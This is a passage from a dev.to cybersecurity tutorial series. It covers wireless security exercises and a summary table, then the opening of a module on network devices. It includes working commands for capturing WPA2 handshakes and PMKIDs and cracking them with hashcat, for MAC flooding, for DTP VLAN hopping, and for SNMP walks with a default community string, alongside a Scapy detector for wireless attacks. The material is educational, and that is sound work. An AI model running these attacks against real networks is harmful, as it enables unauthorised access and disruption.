  Exercise 2: Wireless Password Security Test (on your own network)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Test your own network's WPA2 password strength&lt;/span&gt;

&lt;span class="c"&gt;# IMPORTANT: Only do this on networks you own or have explicit permission to test&lt;/span&gt;

&lt;span class="c"&gt;# Step 1: Capture handshake from your own AP&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--bssid&lt;/span&gt; YOUR_AP_BSSID &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--channel&lt;/span&gt; YOUR_CHANNEL &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/my_network &lt;span class="se"&gt;\&lt;/span&gt;
    wlan0mon &amp;amp;

&lt;span class="c"&gt;# Connect a device to your network (generates handshake)&lt;/span&gt;
&lt;span class="nb"&gt;sleep &lt;/span&gt;30
&lt;span class="nb"&gt;kill&lt;/span&gt; %1

&lt;span class="c"&gt;# Step 2: Convert to hashcat format&lt;/span&gt;
hcxpcapngtool &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/my_hash.hc22000 /tmp/my_network-01.cap

&lt;span class="c"&gt;# Step 3: Test against common passwords&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 22000 /tmp/my_hash.hc22000 /usr/share/wordlists/rockyou.txt &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--quiet&lt;/span&gt;

&lt;span class="c"&gt;# If cracked: your password is too weak&lt;/span&gt;
&lt;span class="c"&gt;# If not cracked from rockyou: try rules:&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 22000 /tmp/my_hash.hc22000 /usr/share/wordlists/rockyou.txt &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-r&lt;/span&gt; /usr/share/hashcat/rules/best64.rule &lt;span class="nt"&gt;--quiet&lt;/span&gt;

&lt;span class="c"&gt;# Recommended minimum: 20+ character random password&lt;/span&gt;
&lt;span class="c"&gt;# or 6+ word passphrase (e.g., "correct-horse-battery-staple-wifi-2024!")&lt;/span&gt;

&lt;span class="c"&gt;# PMKID attack (no clients needed):&lt;/span&gt;
hcxdumptool &lt;span class="nt"&gt;-i&lt;/span&gt; wlan0mon &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/pmkid.pcapng &lt;span class="nt"&gt;--enable_status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &amp;amp;
&lt;span class="nb"&gt;sleep &lt;/span&gt;60
&lt;span class="nb"&gt;kill&lt;/span&gt; %1

hcxpcapngtool &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/pmkid_hash.hc22000 /tmp/pmkid.pcapng
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 22000 /tmp/pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: Build a Wireless Monitor System (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Build a passive wireless monitoring system using Kismet&lt;/span&gt;

&lt;span class="c"&gt;# Install Kismet:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;kismet &lt;span class="nt"&gt;-y&lt;/span&gt;

&lt;span class="c"&gt;# Configure:&lt;/span&gt;
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /etc/kismet/kismet_site.conf &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
# Monitor interface
source=wlan0

# Log settings
log_prefix=/tmp/kismet_logs
log_types=kismet,pcapng

# Alert on new APs (possible rogue):
alert=NEWAP,alert,1/sec,10/min
# Alert on probe requests (clients looking for networks):
alert=PROBEREQ,info,10/sec,100/min
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Run Kismet:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;kismet &lt;span class="nt"&gt;-c&lt;/span&gt; wlan0 &lt;span class="nt"&gt;--log-prefix&lt;/span&gt; /tmp/kismet

&lt;span class="c"&gt;# Access Kismet web interface:&lt;/span&gt;
&lt;span class="c"&gt;# http://localhost:2501 (default)&lt;/span&gt;
&lt;span class="c"&gt;# Default credentials set on first run&lt;/span&gt;

&lt;span class="c"&gt;# Generate analysis report:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import json, glob

# Find Kismet JSON exports
for f in glob.glob('/tmp/kismet*.kismet'):
    try:
        with open(f) as fp:
            data = json.load(fp)
        print(f"Networks found: {len(data.get('dot11.device', []))}")
    except:
        print(f"Could not parse {f}")

print("&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Manually review Kismet web interface for:")
print("  - All detected APs and their properties")
print("  - Client probe requests (PNL enumeration)")
print("  - Alert events (deauth, suspicious activity)")
print("  - Signal strength and location data")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: Detect Wireless Attacks (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create detection rules for common wireless attacks&lt;/span&gt;

&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/detect_wireless.py &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/usr/bin/env python3
"""
Wireless Attack Detector using Scapy
Detects: Deauth floods, Probe Request enumeration, Rogue AP indicators
"""
from scapy.all import *
from collections import defaultdict
import time

# Counters
deauth_count = defaultdict(int)
probe_requests = defaultdict(set)
seen_bssids = {}

# AUTHORISED APs — fill with your known APs
AUTHORISED_APS = {
    "AA:BB:CC:DD:EE:FF": "HomeNetwork",
    # Add your known BSSIDs
}

THRESHOLD_DEAUTH = 10    # Deauths per 10 seconds = alert
THRESHOLD_PROBES = 5     # SSIDs probed by single client = alert

def process_packet(pkt):
    current_time = time.time()

    # Deauthentication detection
    if pkt.haslayer(Dot11Deauth):
        src = pkt.addr2
        dst = pkt.addr1
        deauth_count[src] += 1

        if deauth_count[src] &amp;gt; THRESHOLD_DEAUTH:
            print(f"[ALERT] DEAUTH FLOOD: {src} → {dst} ({deauth_count[src]} frames)")
            deauth_count[src] = 0  # Reset counter

    # Probe Request monitoring (PNL enumeration)
    if pkt.haslayer(Dot11ProbeReq):
        client = pkt.addr2
        ssid = pkt.info.decode('utf-8', errors='ignore')
        if ssid:
            probe_requests[client].add(ssid)
            if len(probe_requests[client]) &amp;gt; THRESHOLD_PROBES:
                print(f"[INFO] CLIENT {client} probing {len(probe_requests[client])} networks:")
                for s in probe_requests[client]:
                    print(f"       - {s}")

    # Rogue AP detection
    if pkt.haslayer(Dot11Beacon):
        bssid = pkt.addr3
        try:
            ssid = pkt.info.decode('utf-8', errors='ignore')
        except:
            ssid = "unknown"

        if bssid not in seen_bssids:
            seen_bssids[bssid] = ssid
            if bssid not in AUTHORISED_APS:
                print(f"[NEW] Access Point: {bssid} SSID: '{ssid}'")
                # Check if SSID matches known SSID but BSSID is different:
                for auth_bssid, auth_ssid in AUTHORISED_APS.items():
                    if ssid == auth_ssid:
                        print(f"[ALERT] POSSIBLE ROGUE AP: '{ssid}' advertised by unauthorised BSSID {bssid}")

print("Starting wireless attack detection...")
print("Press Ctrl+C to stop")
print("Authorised APs:", AUTHORISED_APS)
print("")

# Requires monitor mode interface
sniff(iface="wlan0mon", prn=process_packet, store=0)
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 /tmp/detect_wireless.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  14. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Core Mechanism&lt;/th&gt;
&lt;th&gt;Primary Attack&lt;/th&gt;
&lt;th&gt;Key Defence&lt;/th&gt;
&lt;th&gt;OT/ICS Relevance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;802.11 Standards&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Radio modulation, MIMO, channel bonding&lt;/td&gt;
&lt;td&gt;Match standard to expected protocol → identify WEP/WPA2 target&lt;/td&gt;
&lt;td&gt;Latest standard (WPA3) + firmware updates&lt;/td&gt;
&lt;td&gt;Legacy OT devices often 802.11b/g with WEP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2.4 GHz&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Long range, high penetration, 3 non-overlap channels&lt;/td&gt;
&lt;td&gt;Greater attack standoff distance, more interference&lt;/td&gt;
&lt;td&gt;Minimise use for sensitive traffic&lt;/td&gt;
&lt;td&gt;Dominant in industrial wireless sensors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;5 GHz&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium range, less interference, more channels&lt;/td&gt;
&lt;td&gt;More channels = harder complete monitoring&lt;/td&gt;
&lt;td&gt;Preferred for security-sensitive wireless&lt;/td&gt;
&lt;td&gt;Engineering workstation access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;6 GHz&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Short range, WPA3 mandatory, 59 non-overlap channels&lt;/td&gt;
&lt;td&gt;Limited attacker range&lt;/td&gt;
&lt;td&gt;WPA3 required → eliminates WPA2 attacks&lt;/td&gt;
&lt;td&gt;Emerging in modern OT infrastructure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SSID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Human-readable network name, broadcast in beacons&lt;/td&gt;
&lt;td&gt;Spoofing (any AP can claim any SSID)&lt;/td&gt;
&lt;td&gt;802.1X enterprise auth (not SSID-dependent)&lt;/td&gt;
&lt;td&gt;OT SSIDs reveal network structure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;BSSID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;MAC address of AP radio, spoofable in software&lt;/td&gt;
&lt;td&gt;MAC spoofing for evil twin&lt;/td&gt;
&lt;td&gt;WIDS monitoring known BSSID list&lt;/td&gt;
&lt;td&gt;Identifying rogue APs in OT zones&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WEP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RC4 + 24-bit IV, broken since 2001&lt;/td&gt;
&lt;td&gt;Aircrack-ng — cracked in &amp;lt;60 seconds&lt;/td&gt;
&lt;td&gt;ELIMINATE immediately&lt;/td&gt;
&lt;td&gt;Still found on legacy OT devices&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WPA&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TKIP/RC4, interim fix for WEP&lt;/td&gt;
&lt;td&gt;Chop-chop, TKIP attacks&lt;/td&gt;
&lt;td&gt;Upgrade to WPA2/WPA3&lt;/td&gt;
&lt;td&gt;Deprecated — eliminate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WPA2-PSK&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4-way handshake, PMKID, PBKDF2 password&lt;/td&gt;
&lt;td&gt;Handshake capture + offline GPU crack, PMKID&lt;/td&gt;
&lt;td&gt;Long random passwords (25+char), upgrade to WPA3&lt;/td&gt;
&lt;td&gt;Common in industrial environments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WPA2-Enterprise&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;802.1X RADIUS, EAP types&lt;/td&gt;
&lt;td&gt;Evil twin + rogue RADIUS, MSCHAPv2 crack&lt;/td&gt;
&lt;td&gt;Certificate validation by supplicant, EAP-TLS&lt;/td&gt;
&lt;td&gt;Jump server/HMI authentication&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WPA3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SAE/Dragonfly, forward secrecy&lt;/td&gt;
&lt;td&gt;Downgrade to WPA2 in transition mode, implementation bugs (Dragonblood)&lt;/td&gt;
&lt;td&gt;WPA3-only mode, no WPA2 fallback&lt;/td&gt;
&lt;td&gt;Recommended for new OT deployments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Rogue AP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthorised AP connected to network&lt;/td&gt;
&lt;td&gt;Physical access + Ethernet port connection&lt;/td&gt;
&lt;td&gt;802.1X on all switch ports, wireless survey&lt;/td&gt;
&lt;td&gt;OT environment persistent rogue threat&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Evil Twin&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AP mimicking legitimate network SSID&lt;/td&gt;
&lt;td&gt;Client auto-connect → MITM → credential capture&lt;/td&gt;
&lt;td&gt;802.1X enterprise auth, certificate validation, VPN kill switch&lt;/td&gt;
&lt;td&gt;Engineering workstation attack vector&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Deauth Attack&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Forged management frames&lt;/td&gt;
&lt;td&gt;Force client reconnection for handshake capture, DoS&lt;/td&gt;
&lt;td&gt;802.11w (Protected Management Frames), WPA3&lt;/td&gt;
&lt;td&gt;OT wireless sensor disruption risk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WPS PIN&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8-digit PIN split authentication&lt;/td&gt;
&lt;td&gt;Reaver: 11,000 guesses max, Pixie Dust: seconds&lt;/td&gt;
&lt;td&gt;Disable WPS entirely&lt;/td&gt;
&lt;td&gt;OT APs should have WPS disabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;KRACK&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4-way handshake nonce reuse via message replay&lt;/td&gt;
&lt;td&gt;Decrypt WPA2 traffic&lt;/td&gt;
&lt;td&gt;OS patches (2017-2018), WPA3&lt;/td&gt;
&lt;td&gt;Unpatched OT systems still vulnerable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WirelessHART&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IEEE 802.15.4, AES-128 mesh&lt;/td&gt;
&lt;td&gt;Default join keys, eavesdropping&lt;/td&gt;
&lt;td&gt;Unique per-device join keys, key rotation&lt;/td&gt;
&lt;td&gt;Primary OT sensor networking technology&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Zigbee&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IEEE 802.15.4, AES-128 with poor key management&lt;/td&gt;
&lt;td&gt;Default trust center key, network key extraction&lt;/td&gt;
&lt;td&gt;Unique link keys, disable trust center link key&lt;/td&gt;
&lt;td&gt;Building automation, some industrial&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-1.8-network-analysis-tools.md"&gt;Stage 1.8 — Network Analysis Tools&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-1.6-network-devices.md"&gt;Stage 1.6 — Network Devices&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>bytewall</category>
      <category>software</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Stage 1.6 — Network Devices</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Sat, 06 Jun 2026 06:03:34 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-16-network-devices-1eak</link>
      <guid>https://dev.to/rencberakman/stage-16-network-devices-1eak</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 1 — Network Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 1.6 — Network Devices&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 1.5 — Core Protocols&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 1.7 — Wireless Networks&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Network Devices Are Both the Shield and the Target&lt;/li&gt;
&lt;li&gt;Hub, Switch, and Router — The Foundational Triad&lt;/li&gt;
&lt;li&gt;Layer 2 vs Layer 3 Switch&lt;/li&gt;
&lt;li&gt;Firewall Types — Packet Filter to NGFW&lt;/li&gt;
&lt;li&gt;IDS and IPS — Detection and Prevention&lt;/li&gt;
&lt;li&gt;Proxy Servers&lt;/li&gt;
&lt;li&gt;Load Balancers&lt;/li&gt;
&lt;li&gt;VPN Gateways&lt;/li&gt;
&lt;li&gt;WAF — Web Application Firewall&lt;/li&gt;
&lt;li&gt;Modem vs Router&lt;/li&gt;
&lt;li&gt;Network Device Security — Cross-Cutting Concerns&lt;/li&gt;
&lt;li&gt;Network Devices in OT/ICS Environments&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Network Devices Are Both the Shield and the Target
&lt;/h2&gt;

&lt;p&gt;Every security control you deploy lives in a network device. Every firewall rule, every IDS signature, every VPN tunnel — they all depend on hardware and software that can itself be compromised, misconfigured, or bypassed. This dual nature — network devices as both defenders and targets — defines one of the most important and underappreciated attack surfaces in cybersecurity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concrete attacks on network devices:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cisco Smart Install Exploitation (2018):&lt;/strong&gt; The Cisco Smart Install protocol (TCP 4786), designed for zero-touch switch deployment, was left enabled on tens of thousands of internet-facing switches worldwide. The Talos Intelligence group documented a mass exploitation campaign where threat actors — including state-sponsored groups — scanned the entire internet for port 4786 and extracted running configurations from every vulnerable switch they found. Router configurations contain: all network topology, VLAN structure, access control lists, SNMP community strings, VPN credentials, and sometimes cleartext enable passwords. One protocol, left enabled by default, exposed the complete network architecture of thousands of organisations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SolarWinds SUNBURST (2020):&lt;/strong&gt; While not purely a network device attack, SUNBURST exploited network monitoring infrastructure (SolarWinds Orion) to move laterally. The lesson: the management plane of network devices — the systems used to monitor and configure them — is as critical as the devices themselves.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;F5 BIG-IP Vulnerability (CVE-2020-5902):&lt;/strong&gt; CVSS 10.0. The management interface of F5's load balancer/application delivery controller had an unauthenticated remote code execution vulnerability. Thousands of organisations use F5 BIG-IP to terminate TLS, balance traffic, and enforce WAF policies. Compromising it meant: decrypting all HTTPS traffic, bypassing all WAF rules, and gaining a position to intercept or modify all traffic through the device.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For OT/ICS:&lt;/strong&gt; Industrial network switches are the backbone of substation automation, manufacturing floor networks, and SCADA architectures. Unmanaged switches cannot enforce VLANs. Managed switches with default SNMP community strings expose the entire OT topology. Firewalls between IT and OT with permissive rules are the reason Colonial Pipeline's operational network was affected by a ransomware attack that started in the corporate IT network.&lt;/p&gt;

&lt;p&gt;The security mindset for this module: &lt;strong&gt;Network devices are not passive infrastructure. They are active security controls that are themselves attack targets. Understanding how they work is prerequisite to understanding how they fail.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Hub, Switch, and Router — The Foundational Triad
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 Hub — The Obsolete Broadcast Device
&lt;/h3&gt;

&lt;p&gt;A hub is a Layer 1 (Physical Layer) device. It does no processing — it simply repeats every signal it receives on all ports simultaneously. Every device connected to a hub receives every frame sent by every other device.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HUB OPERATION:
                    ┌─────────────┐
PC-A sends frame → │     HUB     │ → All ports receive the frame
                   │             │
              ┌────┤  Port 1     ├────→ PC-A (sender, ignores)
              │    │  Port 2     ├────→ PC-B (receives)
              │    │  Port 3     ├────→ PC-C (receives)
              │    │  Port 4     ├────→ PC-D (receives)
              └────┤             │
                   └─────────────┘

Collision domain: ALL ports share one collision domain
Bandwidth: Shared among ALL devices (10 Mbps hub = 10 Mbps TOTAL)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why hubs matter for security:&lt;/strong&gt;&lt;br&gt;
Hubs are functionally equivalent to having all network cables bundled together. Any NIC in promiscuous mode captures all traffic — including credentials from FTP, Telnet, HTTP, SMTP, and any other cleartext protocol. Wireshark on any hub-connected machine captures everything.&lt;/p&gt;

&lt;p&gt;Hubs are largely extinct in enterprise IT but &lt;strong&gt;still present in some legacy OT environments&lt;/strong&gt; — particularly older manufacturing floor networks and some building automation systems installed before managed switches became affordable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security implication of finding a hub:&lt;/strong&gt;&lt;br&gt;
If you find a hub during an OT assessment, any device connected to it can perform passive sniffing of all network traffic — including industrial protocol commands, HMI-to-PLC communications, and any cleartext credentials exchanged on that segment.&lt;/p&gt;
&lt;h3&gt;
  
  
  2.2 Switch — The Intelligent Frame Forwarder
&lt;/h3&gt;

&lt;p&gt;A switch is a Layer 2 (Data Link Layer) device. Unlike a hub, a switch learns which MAC address is connected to which port and forwards frames only to the intended destination port.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SWITCH OPERATION:

MAC Address Table (CAM Table):
┌──────────────────┬──────┐
│ MAC Address      │ Port │
├──────────────────┼──────┤
│ AA:BB:CC:DD:EE:1 │  1   │ ← PC-A
│ AA:BB:CC:DD:EE:2 │  2   │ ← PC-B
│ AA:BB:CC:DD:EE:3 │  3   │ ← PC-C
│ AA:BB:CC:DD:EE:4 │  4   │ ← PC-D
└──────────────────┴──────┘

PC-A sends frame to PC-C:
  Switch looks up destination MAC → Port 3
  Frame forwarded ONLY to Port 3
  PC-B and PC-D receive nothing

First packet to unknown MAC:
  Switch floods to all ports (unknown unicast flooding)
  Learns source MAC from response → updates CAM table
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Switch Security Features:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Port Security:
  Limits which MAC addresses can communicate on each port
  Maximum MAC addresses per port (default: 1)
  Violations: protect (drop), restrict (drop + log), shutdown (err-disable port)

  Cisco configuration:
  interface GigabitEthernet0/1
   switchport mode access
   switchport port-security maximum 2
   switchport port-security violation restrict
   switchport port-security mac-address sticky    ← learn and remember MACs automatically
   switchport port-security

802.1X Port Authentication:
  Device must authenticate BEFORE receiving network access
  Authentication via RADIUS server
  EAP (Extensible Authentication Protocol) variants: EAP-TLS, PEAP
  Prevents rogue device connection to physical port

  Cisco: dot1x system-auth-control
         interface gi0/1: dot1x port-control auto

DHCP Snooping:
  Validates DHCP packets against trusted/untrusted port designation
  Only uplinks to legitimate DHCP server are "trusted"
  Drops DHCP OFFER/ACK from untrusted ports (blocks rogue DHCP)
  Builds binding table: {IP, MAC, port, VLAN}

Dynamic ARP Inspection (DAI):
  Validates ARP packets against DHCP snooping binding table
  Drops ARP packets where IP-MAC doesn't match binding table
  Prevents ARP poisoning/spoofing

Storm Control:
  Rate-limits broadcast, multicast, unknown unicast traffic
  Prevents broadcast storms from overwhelming network
  Mitigates some DoS attacks

Private VLANs:
  Isolated ports: can only communicate with promiscuous port (uplink)
  Community ports: communicate with each other and promiscuous port
  Use case: hotel rooms, guest WiFi — clients cannot attack each other
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Switch Attack Techniques:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# MAC Flooding — overflow CAM table, force hub behaviour:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;macof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0                     &lt;span class="c"&gt;# macof from dsniff package&lt;/span&gt;
&lt;span class="c"&gt;# Generates ~155,000 frames/second with random MACs&lt;/span&gt;
&lt;span class="c"&gt;# CAM table fills → switch floods all traffic → passive sniffing possible&lt;/span&gt;
&lt;span class="c"&gt;# Modern switches: storm control, port security prevent this&lt;/span&gt;

&lt;span class="c"&gt;# VLAN Hopping — access restricted VLANs:&lt;/span&gt;
&lt;span class="c"&gt;# Method 1: DTP negotiation (if port is in dynamic mode)&lt;/span&gt;
&lt;span class="c"&gt;# Yersinia: yersinia -G → DTP attacks → Enable trunking&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;yersinia dtp &lt;span class="nt"&gt;-attack&lt;/span&gt; 1           &lt;span class="c"&gt;# Send DTP frames to negotiate trunk&lt;/span&gt;

&lt;span class="c"&gt;# Method 2: Double tagging (attacker on native VLAN)&lt;/span&gt;
&lt;span class="c"&gt;# Requires: attacker is on native VLAN of a trunk port&lt;/span&gt;
&lt;span class="c"&gt;# Frame: [Outer Tag: native VLAN][Inner Tag: target VLAN][payload]&lt;/span&gt;
&lt;span class="c"&gt;# Tools: scapy to craft double-tagged frames&lt;/span&gt;

&lt;span class="c"&gt;# Detection:&lt;/span&gt;
&lt;span class="c"&gt;# Unusual trunk negotiations from access ports&lt;/span&gt;
&lt;span class="c"&gt;# Multiple VLANs appearing on access ports&lt;/span&gt;
&lt;span class="c"&gt;# switch log: %DTP-5-TRUNKPORTON — unexpected trunk negotiation&lt;/span&gt;

&lt;span class="c"&gt;# View CAM table remotely (if SNMP community known):&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public switch_ip 1.3.6.1.2.1.17.7.1.2.2
&lt;span class="c"&gt;# Returns: VLAN, MAC address, port number — full MAC table&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.3 Router — The Inter-Network Forwarder
&lt;/h3&gt;

&lt;p&gt;A router is a Layer 3 (Network Layer) device. It forwards packets between different networks based on IP destination addresses and a routing table.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ROUTER OPERATION:

                Network A (192.168.1.0/24)         Network B (10.0.0.0/8)
                        │                                   │
PC: 192.168.1.5 ───────┤                                   ├─── Server: 10.0.0.1
